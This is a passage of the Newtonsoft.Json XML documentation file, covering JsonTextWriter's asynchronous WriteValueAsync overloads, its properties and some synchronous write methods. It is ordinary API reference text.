name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Char,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Char},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.DateTime,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.DateTime},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.DateTimeOffset,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.DateTimeOffset},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Decimal,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Decimal},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Double,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Double},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Single,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Single},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Guid,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Guid},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Int32,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Int32},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Int64,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Int64},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Object,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Object\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.SByte,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.SByte},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Int16,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Int16},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.TimeSpan,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.TimeSpan},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.UInt32,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.UInt32},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.UInt64,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.UInt64},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Uri,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.UInt16,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.UInt16},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteCommentAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndArrayAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of an array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndConstructorAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of a constructor.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndObjectAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of a JSON object.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteRawValueAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.ArrayPool\">\n            <summary>\n            Gets or sets the writer's character array pool.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.Indentation\">\n            <summary>\n            Gets or sets how many <see cref=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\"/>s to write for each level in the hierarchy when <see cref=\"P:Newtonsoft.Json.JsonWriter.Formatting\"/> is set to <see cref=\"F:Newtonsoft.Json.Formatting.Indented\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.QuoteChar\">\n            <summary>\n            Gets or sets which character to use to quote attribute values.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\">\n            <summary>\n            Gets or sets which character to use for indenting when <see cref=\"P:Newtonsoft.Json.JsonWriter.Formatting\"/> is set to <see cref=\"F:Newtonsoft.Json.Formatting.Indented\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.QuoteName\">\n            <summary>\n            Gets or sets a value indicating whether object names will be surrounded with quotes.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.#ctor(System.IO.TextWriter)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonTextWriter\"/> class using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:System.IO.TextWriter\"/> and also flushes the underlying <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.TextWriter\"/> is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyName(System.String,System.Boolean)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndent\">\n            <summary>\n            Writes indent characters.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueDelimiter\">\n            <summary>\n            Writes the JSON value delimiter.\n            </summary>\n        </member>\n        <member 